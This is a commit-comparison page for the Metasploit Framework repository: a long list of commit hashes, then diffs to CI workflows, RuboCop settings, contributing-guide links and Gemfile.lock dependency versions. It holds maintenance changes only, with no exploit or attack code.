Compare commits
535 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9ab335ee05 | |||
| 18ecd8be18 | |||
| ccf1a82664 | |||
| db343e629d | |||
| bc002de9f2 | |||
| 4afa8515a8 | |||
| 3a7da2ad8a | |||
| a26e839ef8 | |||
| 29eec5733d | |||
| daef33fe33 | |||
| d188170169 | |||
| 4866c2b8b8 | |||
| fdcf55ef58 | |||
| d2d99b5db7 | |||
| 0cbac03f91 | |||
| 876b7c2c0f | |||
| beb9f87d53 | |||
| 9961fffaa2 | |||
| 01399e4818 | |||
| fc711131a2 | |||
| deafceed00 | |||
| d3f84af790 | |||
| dc8ebb722a | |||
| c844d4d714 | |||
| 771f32bd8a | |||
| 378a667f76 | |||
| 350984bc41 | |||
| 5c1fcc3a72 | |||
| 05774d5f9c | |||
| bbc071d254 | |||
| 924d5eabee | |||
| 3bc4639235 | |||
| fbda738da9 | |||
| 599642bbb9 | |||
| 28fb670d4d | |||
| 71e142a5ee | |||
| 2c3005fee3 | |||
| 0fc94f14e8 | |||
| f62994b4c0 | |||
| f8dbeb359a | |||
| 6ef92915d2 | |||
| 475209c768 | |||
| de58b96d2a | |||
| f5aa4296ff | |||
| 10af603858 | |||
| 7bcdf0386e | |||
| 92a91c759e | |||
| 3338718f37 | |||
| 795b9c9ebc | |||
| 0bf809697c | |||
| a0accb2a36 | |||
| ecbeceb817 | |||
| 3f781de8e9 | |||
| 6e06d1e6f8 | |||
| 5c4d730cd3 | |||
| 77c99da6d6 | |||
| 4f75a44581 | |||
| 10ea667b8f | |||
| 2c9aed6071 | |||
| 9dcaf93b29 | |||
| a2a9cd76b3 | |||
| 20003fd165 | |||
| 9a4f8c0e7f | |||
| 2c1de9b2e4 | |||
| df4009c084 | |||
| fe84cb0804 | |||
| 6579dcc977 | |||
| 3b7a224f37 | |||
| 252012f48d | |||
| f8c67e9498 | |||
| 6259f02051 | |||
| efd79eb638 | |||
| 0047ce5d3a | |||
| d5f9ff14d2 | |||
| 31ca497e1f | |||
| 975de9d479 | |||
| 96c9f60cc1 | |||
| 5b82c952ba | |||
| ae549ce1d4 | |||
| 5b4962e2bd | |||
| 673a574b3d | |||
| f3975e968f | |||
| ec2d71cbb7 | |||
| a418bd9c65 | |||
| 088f359cee | |||
| 08cb115368 | |||
| 1245124afa | |||
| dde4445dab | |||
| 3fabcc3421 | |||
| 82005fe3cf | |||
| c8aa491378 | |||
| 3abd62076c | |||
| 89d9da87bd | |||
| a916163b49 | |||
| b3e6767125 | |||
| 380a66916f | |||
| 636d89cf67 | |||
| 75ed29964e | |||
| 41c231b803 | |||
| b8178397a9 | |||
| 2be54376bc | |||
| d92b6e328a | |||
| 1f370b3c9e | |||
| 87f046f351 | |||
| ac3e84d3fb | |||
| 524f5e4e63 | |||
| 8b03f2fda8 | |||
| 4cd50b4550 | |||
| fc76f5f039 | |||
| 2f08cf6c46 | |||
| 47652e3b19 | |||
| 3c56cf7a15 | |||
| 363a3415df | |||
| b7d373d247 | |||
| 50fdd4536e | |||
| 49a2f481b6 | |||
| fe8afed994 | |||
| 020d2d3302 | |||
| f6bfa6a61b | |||
| 20dbc175d1 | |||
| 26d9026fc2 | |||
| fc8f94fff4 | |||
| 9706ee9d9e | |||
| ca6faed172 | |||
| 5311a491e9 | |||
| 7db2d86147 | |||
| 22ad9ebe7f | |||
| b19ab03da1 | |||
| a408e3e27f | |||
| 011ffb87bd | |||
| 5749b402af | |||
| 9a874c352b | |||
| 9e9e7ac938 | |||
| 0479215373 | |||
| 5e2f0965f3 | |||
| 8db255288b | |||
| 2ed89dda7e | |||
| fbf2e5d370 | |||
| f4549b0a1e | |||
| d21f6a10a2 | |||
| 6c5c158607 | |||
| 42bd87e0c1 | |||
| 4c25530afe | |||
| ae461c2395 | |||
| 59eb419d28 | |||
| d16905ca49 | |||
| 8a37cc6c88 | |||
| 8b27c2e8f7 | |||
| b2cc84228f | |||
| 65c11bd8c8 | |||
| fd5d10e610 | |||
| 743e5ffd9f | |||
| 10552cbc87 | |||
| 9ff4cdfd5c | |||
| 55371f9363 | |||
| 2de3142cde | |||
| b3f30f00a7 | |||
| b38d51edca | |||
| 6b36463086 | |||
| c0042ab0d2 | |||
| 9621f77bac | |||
| bf7884b2dc | |||
| 62439bbcd0 | |||
| 2b5b17916f | |||
| 690abcfe1f | |||
| f6ec3855b3 | |||
| 0c8df1a67b | |||
| 42146fc4ec | |||
| 80cec400bf | |||
| fc5f4983f6 | |||
| 647418745f | |||
| e1e39ad5bc | |||
| e625e2e474 | |||
| 6dbf22a5e7 | |||
| fa3baa40e6 | |||
| 963b9a9952 | |||
| 3854c30a11 | |||
| fc5d938d8c | |||
| 1b44973c80 | |||
| 239bc02db4 | |||
| 6e9a7a9d07 | |||
| 31a5125d78 | |||
| 5314d21e59 | |||
| db290369a4 | |||
| bf5919f461 | |||
| f61c3bcefc | |||
| fc5a38e870 | |||
| 1f45b1e4b7 | |||
| 75fb5e883d | |||
| bdc435f5c8 | |||
| 066d0a6f7e | |||
| c553f80cd9 | |||
| 38d8b70873 | |||
| c713da368d | |||
| 9cf2bbf352 | |||
| c6e9c8e3db | |||
| 676dd5cbbd | |||
| 292c160abf | |||
| ce9933fc4c | |||
| 73e82274dd | |||
| a3a6ae9c4a | |||
| c610949a5a | |||
| 44c393e2f1 | |||
| 71cecfb1d4 | |||
| 1c49b002d2 | |||
| 00d1637f3d | |||
| e7da4c4612 | |||
| 12c739b881 | |||
| 5a2ab6edd4 | |||
| ecd5ad29a7 | |||
| a8d2073eee | |||
| 86e8f5c484 | |||
| 5d8b1dc4a6 | |||
| 557042c91c | |||
| b89602bb7b | |||
| 301d25ddfa | |||
| a98368cfc5 | |||
| 5725dd2ded | |||
| 165b0f8d61 | |||
| ac9d60ce9e | |||
| 5d254cc36b | |||
| 78ae5f49ce | |||
| 304b90ecc8 | |||
| 8aed02de3d | |||
| bf57918454 | |||
| d1463df3cc | |||
| ff159c8760 | |||
| ca0b1ffe05 | |||
| 2e195b2742 | |||
| 0e86cfa6c7 | |||
| d012145726 | |||
| 96fecb6048 | |||
| 1dadd113dd | |||
| 9c3cfd8bdb | |||
| 45e453d687 | |||
| 9605b4bb91 | |||
| c3fa924cfa | |||
| 210b7a3254 | |||
| 2a386981bd | |||
| f4c5e34a1b | |||
| fcfc39296f | |||
| 79b1801a4f | |||
| d5b7ad30a1 | |||
| a3f4dceb5b | |||
| 6b29b14c46 | |||
| dc8ee988f5 | |||
| a19bdde276 | |||
| 54c472ef18 | |||
| 036ed7f467 | |||
| 86fc617259 | |||
| 0cf7dd850f | |||
| e963582e18 | |||
| f2a86327d0 | |||
| 6343fc8f7c | |||
| fd6cd82f30 | |||
| 025ba6775d | |||
| 126e3a9c9a | |||
| 2608852d8c | |||
| aa9b3df6b3 | |||
| e420dc123d | |||
| c7279e9a0a | |||
| 73567cfbf6 | |||
| 43b4ee268c | |||
| d4be663923 | |||
| 86f11b09fb | |||
| e6f4e96544 | |||
| 406574722a | |||
| b97a288102 | |||
| 139ad4a4be | |||
| de8a6e1445 | |||
| 2f20c9836f | |||
| 508f5c7e52 | |||
| 4b05ba6189 | |||
| 427c181e9a | |||
| 19bcf8be7f | |||
| a9bd7e9f46 | |||
| 01a78f972c | |||
| 79a5481d9c | |||
| c997952d83 | |||
| 810ef42bf0 | |||
| 0c6ebed3ac | |||
| a878403a3e | |||
| 0de766498c | |||
| c3e9e2751a | |||
| 656ded4b86 | |||
| 2b008af097 | |||
| 25ee41df68 | |||
| 9469c8394a | |||
| 75ceb7b670 | |||
| fef7c85518 | |||
| 6e9b33dc88 | |||
| 716ba68b25 | |||
| b56213b168 | |||
| 11c886b30f | |||
| a81a71c5df | |||
| 488cfc84ef | |||
| f8bb85ffe3 | |||
| 7909fe32c2 | |||
| 10144a9f13 | |||
| 433bafdccf | |||
| d261aa6a2b | |||
| 4311c34a0b | |||
| 35749a000a | |||
| affe47957b | |||
| 1168658f0e | |||
| 782e4c0295 | |||
| 8ee67085c8 | |||
| a036c2fae0 | |||
| c2e8f3fa69 | |||
| f145a214ca | |||
| 52fa2e5be6 | |||
| 489ab24876 | |||
| 8ba7a28caf | |||
| 7c30889784 | |||
| b14bcd40a2 | |||
| 425da60b15 | |||
| 90e07ef5ed | |||
| 8cddf56238 | |||
| a276659681 | |||
| 7554b5e4fd | |||
| 1cb06b11ac | |||
| 87176f9d7f | |||
| c5914d8c99 | |||
| 990db5372f | |||
| b042e71b2a | |||
| b606d1ff6b | |||
| 5846d95b25 | |||
| 676bb2af02 | |||
| 588bddc950 | |||
| 4143e6ea92 | |||
| 53c67653f5 | |||
| f7fb611bcc | |||
| 8b116a7dcd | |||
| 89485703dc | |||
| 9b90343480 | |||
| b9bcf45a7d | |||
| 4a2dc0d6b0 | |||
| 215cfa27b0 | |||
| 6e6d8473b6 | |||
| d763faf245 | |||
| 475813eb33 | |||
| 59332da8ce | |||
| ac9caa8894 | |||
| 7cff3cc2b0 | |||
| 4b3125d14b | |||
| 42e1bed3f5 | |||
| af29786f1b | |||
| a5a7d5dd10 | |||
| adf5091c7a | |||
| 19b526d584 | |||
| 561b42f105 | |||
| 6aa6f5176b | |||
| aff14e8e46 | |||
| e30cae2e40 | |||
| 34b1e66f90 | |||
| 2b09af78e1 | |||
| c3393f30c3 | |||
| ad82437067 | |||
| dc179f6279 | |||
| 51fd9ee703 | |||
| f2e5e77e27 | |||
| fd43c43a30 | |||
| d576e77b70 | |||
| 6d62362b82 | |||
| 3b80e223b1 | |||
| 80dbbca020 | |||
| c777b33fcb | |||
| c3c3987867 | |||
| 87323134a5 | |||
| 6ab7e177f4 | |||
| feee510999 | |||
| 99e31c561a | |||
| f4ad778bd0 | |||
| 5d6e989e64 | |||
| 83f9964e99 | |||
| cfb5a55880 | |||
| af2ef53462 | |||
| b408837b7f | |||
| d1e68e634a | |||
| 1f224fd2d3 | |||
| 88caeddc8c | |||
| 4de5e44bda | |||
| 3eaed76025 | |||
| 2b2406f9af | |||
| 952a4fe37a | |||
| 56866ad09a | |||
| 6f4a17230d | |||
| a83d070396 | |||
| ef87a63bde | |||
| 48a27ab555 | |||
| e752e1dbca | |||
| 6870efc34a | |||
| f128640bf1 | |||
| c90a6f9068 | |||
| 4418bcc673 | |||
| f4c5632b6d | |||
| 076ffbcc65 | |||
| 3c7cbf62e6 | |||
| 6037936869 | |||
| 595f34fc6f | |||
| e9fef56186 | |||
| 057f046186 | |||
| 4ba04df138 | |||
| cf172d22c8 | |||
| b5a83ffd0f | |||
| 1094221468 | |||
| 8d31b63f7a | |||
| 34d93e862c | |||
| e90b47fd17 | |||
| d89c193db2 | |||
| 638a1c519d | |||
| b922bb533b | |||
| 014bdddd1a | |||
| a5990a5a7d | |||
| 5af2689a0e | |||
| a6f0a8abe3 | |||
| 690d22f759 | |||
| 994d41ac80 | |||
| 5a1eb16018 | |||
| 4a04a86675 | |||
| 86a6611e98 | |||
| 1ff1cd1779 | |||
| c9012ae222 | |||
| 2c72cc145a | |||
| 84f798da32 | |||
| fa687d3614 | |||
| 5a374533af | |||
| 8d58eb6279 | |||
| 42542102e3 | |||
| 2306736383 | |||
| 022760d24a | |||
| e99407fe26 | |||
| 9c7665a017 | |||
| b866bf59c8 | |||
| 8805ed2b5a | |||
| 77dd6bd77e | |||
| 0d9a282237 | |||
| daa96f9fb7 | |||
| 56728fc7c2 | |||
| bbf17c167c | |||
| 5076518fe4 | |||
| fb196cb378 | |||
| 11cf391da8 | |||
| 7bb0eca931 | |||
| 42004c07bc | |||
| 433099e539 | |||
| bfc5c563a1 | |||
| 902eaa2562 | |||
| e3a9e5a163 | |||
| f3a372719c | |||
| f676568d89 | |||
| a5ba1245c2 | |||
| db90604333 | |||
| 4ff475f180 | |||
| 7cf37f5fb7 | |||
| dd20bcac77 | |||
| a2f4a27614 | |||
| bf10b29a84 | |||
| c68ab9b77f | |||
| a7ae3c9389 | |||
| e11aaa8027 | |||
| 1b20db8900 | |||
| be85aa253d | |||
| c3e73b9b11 | |||
| 85d5b041aa | |||
| 1782ae1ff2 | |||
| 6043d0ffba | |||
| 6111852df8 | |||
| c681358f88 | |||
| 647cf1d402 | |||
| 8d4d48e005 | |||
| 4c54fffaed | |||
| 020e221c42 | |||
| 1d8c9d3690 | |||
| f4976a0f9f | |||
| e01239cf7b | |||
| d80a18a00c | |||
| ed2dd2fc0c | |||
| 87b9152314 | |||
| 2be22752be | |||
| f81195d0cc | |||
| 38f0d33d6b | |||
| 6fe0933c1e | |||
| 6ac0d9ba27 | |||
| 0e0f62c002 | |||
| 4da94325f3 | |||
| d7215b84b4 | |||
| 6419f2d5a5 | |||
| 63d9445911 | |||
| 3a0b694790 | |||
| c823295915 | |||
| 8ed4f59c60 | |||
| 2c2bfec4a0 | |||
| d0abb5697b | |||
| 0dbb0dc8c9 | |||
| d1f878c4f0 | |||
| 158c557d58 | |||
| e28ff3b160 | |||
| be7ca91a8f | |||
| d01060f40f | |||
| 145589f7a2 | |||
| fd7fbb76af | |||
| 03acb7e9f2 | |||
| 499d1ccfd7 | |||
| 6074d1a4d3 | |||
| ce260f53f3 | |||
| 9cc8d41388 | |||
| 6b0805dc11 | |||
| 2ec77e6d95 | |||
| 3204caf618 | |||
| 87614cf2b3 | |||
| f015d1425a | |||
| 2fa7e7b2d5 | |||
| 6eaa0bfab2 | |||
| cf6d5d3a14 | |||
| 8aca86b816 | |||
| 5c3ac339d0 | |||
| 704cee436b | |||
| c1236500f1 | |||
| ff63f0aa32 | |||
| 27f8f4fc47 | |||
| 7880530989 | |||
| 0e5f8d49f9 | |||
| 13a3d9d1ca | |||
| 7983c14166 | |||
| 3d73f574d4 | |||
| a05cbdbc30 | |||
| c9eaa9af37 | |||
| 34d191b06c | |||
| f1b97de78d | |||
| 93cba95170 | |||
| 6a8b94ee42 | |||
| fc579fe3f4 | |||
| 54667a2424 | |||
| 1d400bd094 |
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.7
|
||||
- '2.7'
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
@@ -48,7 +48,7 @@ jobs:
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
working-directory: docs
|
||||
|
||||
|
||||
@@ -59,7 +59,7 @@ jobs:
|
||||
comment: `
|
||||
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
|
||||
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
`
|
||||
|
||||
@@ -35,7 +35,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.7
|
||||
- '2.7'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
@@ -51,7 +51,7 @@ jobs:
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
@@ -67,6 +67,7 @@ jobs:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
|
||||
+201
@@ -217,6 +217,10 @@ Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
||||
Style/MutableConstant:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
||||
Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
@@ -253,6 +257,18 @@ Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/EvenOdd:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/FloatDivision:
|
||||
Description: 'Not a safe rule to run on Metasploit without manual verification as the right hand side may be a string'
|
||||
Enabled: false
|
||||
|
||||
Style/FormatString:
|
||||
Description: 'Not a safe rule to run on Metasploit without manual verification that the format is not redefined/shadowed'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -350,6 +366,191 @@ Naming/MethodParameterName:
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
Naming/PredicateName:
|
||||
Enabled: true
|
||||
# Current methods that break the rule, so that we don't add additional methods that break the convention
|
||||
AllowedMethods:
|
||||
- has_additional_info?
|
||||
- has_advanced_options?
|
||||
- has_auth
|
||||
- has_auto_target?
|
||||
- has_bad_activex?
|
||||
- has_badchars?
|
||||
- has_chars?
|
||||
- has_check?
|
||||
- has_command?
|
||||
- has_content_type_extension?
|
||||
- has_datastore_cred?
|
||||
- has_evasion_options?
|
||||
- has_fatal_errors?
|
||||
- has_fields
|
||||
- has_files?
|
||||
- has_flag?
|
||||
- has_function_name?
|
||||
- has_gcc?
|
||||
- has_h2_headings
|
||||
- has_input_name?
|
||||
- has_j_security_check?
|
||||
- has_key?
|
||||
- has_match?
|
||||
- has_module
|
||||
- has_object_ref
|
||||
- has_objects_list
|
||||
- has_options?
|
||||
- has_page?
|
||||
- has_passphrase?
|
||||
- has_pid?
|
||||
- has_pkt_line_data?
|
||||
- has_prereqs?
|
||||
- has_privacy_waiver?
|
||||
- has_privates?
|
||||
- has_protected_mode_prompt?
|
||||
- has_proxy?
|
||||
- has_read_data?
|
||||
- has_ref?
|
||||
- has_required_args
|
||||
- has_required_module_options?
|
||||
- has_requirements
|
||||
- has_rop?
|
||||
- has_s_flag?
|
||||
- has_service_cred?
|
||||
- has_subscriber?
|
||||
- has_subtree?
|
||||
- has_text
|
||||
- has_tlv?
|
||||
- has_u_flag?
|
||||
- has_users?
|
||||
- has_vuln?
|
||||
- has_waiver?
|
||||
- have_auth_error?
|
||||
- have_powershell?
|
||||
- is_accessible?
|
||||
- is_admin?
|
||||
- is_alive?
|
||||
- is_alpha_web_server?
|
||||
- is_android?
|
||||
- is_app_binom3?
|
||||
- is_app_carlogavazzi?
|
||||
- is_app_cnpilot?
|
||||
- is_app_epaduo?
|
||||
- is_app_epmp1000?
|
||||
- is_app_infovista?
|
||||
- is_app_ironport?
|
||||
- is_app_metweblog?
|
||||
- is_app_oilom?
|
||||
- is_app_openmind?
|
||||
- is_app_popad?
|
||||
- is_app_radware?
|
||||
- is_app_rfreader?
|
||||
- is_app_sentry?
|
||||
- is_app_sevone?
|
||||
- is_app_splunk?
|
||||
- is_app_ssl_vpn?
|
||||
- is_array_type?
|
||||
- is_auth_required?
|
||||
- is_author_blacklisted?
|
||||
- is_badchar
|
||||
- is_base64?
|
||||
- is_bind?
|
||||
- is_cached_size_accurate?
|
||||
- is_cgi_enabled?
|
||||
- is_cgi_exploitable?
|
||||
- is_check_interesting?
|
||||
- is_child_of?
|
||||
- is_clr_enabled
|
||||
- is_connect?
|
||||
- is_dlink?
|
||||
- is_dn?
|
||||
- is_dynamic?
|
||||
- is_error_code
|
||||
- is_exception?
|
||||
- is_exploit_module?
|
||||
- is_exploitable?
|
||||
- is_fqdn?
|
||||
- is_glob?
|
||||
- is_groupwise?
|
||||
- is_guest_mode_enabled?
|
||||
- is_hash_from_empty_pwd?
|
||||
- is_high_integrity?
|
||||
- is_hostname?
|
||||
- is_ie?
|
||||
- is_imc?
|
||||
- is_imc_som?
|
||||
- is_in_admin_group?
|
||||
- is_interface?
|
||||
- is_ip_targeted?
|
||||
- is_key_wanted?
|
||||
- is_leaf?
|
||||
- is_local?
|
||||
- is_logged_in?
|
||||
- is_loggedin
|
||||
- is_loopback_address?
|
||||
- is_mac?
|
||||
- is_match
|
||||
- is_md5_format?
|
||||
- is_module_arch?
|
||||
- is_module_platform?
|
||||
- is_module_wanted?
|
||||
- is_multi_platform_exploit?
|
||||
- is_not_null?
|
||||
- is_null_pointer
|
||||
- is_null_pointer?
|
||||
- is_num?
|
||||
- is_num_type?
|
||||
- is_numeric
|
||||
- is_online?
|
||||
- is_parseable
|
||||
- is_pass_ntlm_hash?
|
||||
- is_passwd_method?
|
||||
- is_password_required?
|
||||
- is_payload_compatible?
|
||||
- is_payload_platform_compatible?
|
||||
- is_pointer_type?
|
||||
- is_pri_key?
|
||||
- is_proficy?
|
||||
- is_rdp_up
|
||||
- is_remote_exploit?
|
||||
- is_resource_taken?
|
||||
- is_rf?
|
||||
- is_rmi?
|
||||
- is_root?
|
||||
- is_routable?
|
||||
- is_running?
|
||||
- is_scan_complete
|
||||
- is_secure_admin_disabled?
|
||||
- is_session_type?
|
||||
- is_signature_correct?
|
||||
- is_single_object?
|
||||
- is_struct_type?
|
||||
- is_supermicro?
|
||||
- is_superuser?
|
||||
- is_sws?
|
||||
- is_system?
|
||||
- is_system_user?
|
||||
- is_target?
|
||||
- is_target_suitable?
|
||||
- is_trial_enabled?
|
||||
- is_trustworthy
|
||||
- is_uac_enabled?
|
||||
- is_url_alive
|
||||
- is_usable?
|
||||
- is_uuid?
|
||||
- is_valid?
|
||||
- is_valid_bus?
|
||||
- is_valid_snmp_value
|
||||
- is_value_wanted?
|
||||
- is_version_compat?
|
||||
- is_version_tested?
|
||||
- is_vmware?
|
||||
- is_vul
|
||||
- is_vulnerable?
|
||||
- is_warbird?
|
||||
- is_windows?
|
||||
- is_writable
|
||||
- is_writable?
|
||||
- is_x86?
|
||||
- is_zigbee_hwbridge_session?
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
Style/RedundantPercentQ:
|
||||
|
||||
+5
-5
@@ -1,6 +1,6 @@
|
||||
# Contributing to Metasploit
|
||||
Thank you for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](./CODE_OF_CONDUCT.md). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
|
||||
## Code Free Contributions
|
||||
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
|
||||
@@ -15,9 +15,9 @@ Before we get into the details of contributing code, you should know there are m
|
||||
|
||||
|
||||
## Code Contributions
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
|
||||
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
@@ -83,7 +83,7 @@ If you need some more guidance, talk to the main body of open source contributor
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Code of Conduct]:https://docs.metasploit.com/docs/code-of-conduct.html
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
@@ -101,7 +101,7 @@ curve, so keep it up!
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
|
||||
[module documentation]:https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://www.betterspecs.org/
|
||||
|
||||
+68
-66
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.0)
|
||||
metasploit-framework (6.3.7)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -11,6 +11,7 @@ PATH
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bson
|
||||
chunky_png
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
@@ -29,7 +30,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.108)
|
||||
metasploit-payloads (= 2.0.122)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
@@ -97,25 +98,25 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.4.1)
|
||||
actionview (= 7.0.4.1)
|
||||
activesupport (= 7.0.4.1)
|
||||
actionpack (7.0.4.2)
|
||||
actionview (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
rack (~> 2.0, >= 2.2.0)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.4.1)
|
||||
activesupport (= 7.0.4.1)
|
||||
actionview (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.4.1)
|
||||
activesupport (= 7.0.4.1)
|
||||
activerecord (7.0.4.1)
|
||||
activemodel (= 7.0.4.1)
|
||||
activesupport (= 7.0.4.1)
|
||||
activesupport (7.0.4.1)
|
||||
activemodel (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activerecord (7.0.4.2)
|
||||
activemodel (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activesupport (7.0.4.2)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -127,22 +128,22 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.689.0)
|
||||
aws-sdk-core (3.168.4)
|
||||
aws-partitions (1.722.0)
|
||||
aws-sdk-core (3.170.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.356.0)
|
||||
aws-sdk-ec2 (1.368.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.73.0)
|
||||
aws-sdk-iam (1.75.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.61.0)
|
||||
aws-sdk-kms (1.63.0)
|
||||
